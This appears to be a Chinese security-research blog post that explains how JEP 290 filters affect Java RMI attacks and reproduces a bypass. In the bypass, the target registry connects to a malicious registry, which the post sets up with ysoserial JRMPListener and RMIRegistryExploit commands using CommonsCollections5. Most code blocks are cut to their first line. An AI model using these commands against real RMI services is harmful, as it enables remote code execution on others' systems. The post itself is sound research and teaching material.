详情可以查看参考【1】中提到JDK6u141、JDK7u131、JDK 8u121加入了JEP 290限制,上节的部分攻击收到影响。
本节主要简单跟踪JEP290的限制,以及复现并简单跟踪bypass POC
JEP290
直接引用【1】,JEP290引入了以下过滤器
进程级过滤器
可以将进程级序列化过滤器作为命令行参数-Djdk.serialFilter =传递,或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。
自定义过滤器
可以使用自定义过滤器来重写特定流的进程级过滤器
内置过滤器
JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。
其中需要注意的是内置过滤器,RMI注册表和RMI分布式垃圾收集器 都默认内置,那么就影响到了前文《RMI1》中 利用DGC的攻击
RegistryImpl
DGCImpl_Stub
影响
前文《RMI: client-registry-server的互相攻击(一)》中提到的6种攻击,受影响情况如下
- 服务端攻击注册中心 [Y]
- 注册中心攻击客户端 [N]
CommonsCollection1 payload失败,CommonsCollections5 成功,应该是和payload有关,和RMI无关 - 客户端攻击注册中心 [Y]
- 注册中心攻击服务端 [N]
- 客户端攻击服务端 [N]
- 服务端攻击客户端 [N]
顾名思义,RegistryImpl#registryFilter,是限制了Registry的相关序列化行为,仅Registry受影响。
registryFilter CODE
sun.rmi.registry.RegistryImpl#registryFilter
1 | private static Status registryFilter(FilterInfo var0) { |
白名单
- String.class
- Number.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
绕过
借用bsmali4师傅的一张图解释绕过原理
server-registry-client三者间可以相互攻击,但是现在因为jep290,client\server -> registry链路被白名单过滤,仅剩上文的内置白名单。
所以理论上我们只能在registry控制以上的这些白名单类
但是,精髓:
Server/Client 与Registry 通信,也只需要以上的白名单内即可
那么答案呼之欲出了:
1. 从Server bind一个类
2. 序列化发送给registry
3. registry反序列化这个类,反序列化触发这个类的实例化
4. 这个类实例化时,建立一个rmi连接,至恶意的RMI Registry
5. 恶意RMI Registry攻击此时已经成为Client/Server角色的目标Registry
其中,步骤4可以深入跟进,这里直接使用默认,不深入研究
1 | $ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections5 "open -a calculator.app" |
Bypass Code
1 | ObjID id = new ObjID(new Random().nextInt()); // RMI registry |
其实完全就是java.rmi.registry.LocateRegistry$getRegistry
1 | public static Registry getRegistry(String host, int port, |
复现
Vuln Registry
1 | import java.rmi.RemoteException; |
Evil RMI Registry
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections5 "open -a calculator.app" |
Evil Server Code
1 | public void test_bypass_jep290() throws Exception{ |
遗留问题
其中Evil Server Code 理论也可以用JRMPClient代替
1 | java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 JRMPClient 127.0.0.1:10999 |
但是ysoserial实现有问题,proxy外面又包了一层,需要改下
1 | public static void exploit(final Registry registry, |
小结
本节简单跟踪了绕过JEP290攻击RMI Registry的方式,原理是通过RMI+特殊的类,在白名单范围内,作为server角色连接 恶意RMI Registry并bind,达到registry命令执行的目的。
其中很多点没有深入分析,例如只是建立了恶意RMI的连接,但是没执行bind,为什么可以打成功?比较复杂,下节单独讲
参考【3】和【4】,还有很多知识点没覆盖,本节只能当个引子,后续有空再深入分析。
参考
- [1] JAVA RMI 反序列化知识详解
- [2] 关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记
- [3] 一次攻击内网rmi服务的深思
- [4] 针对RMI服务的九重攻击 - 下
- [5] 浅谈Java RMI Registry安全问题
- [6] 漫谈 JEP 290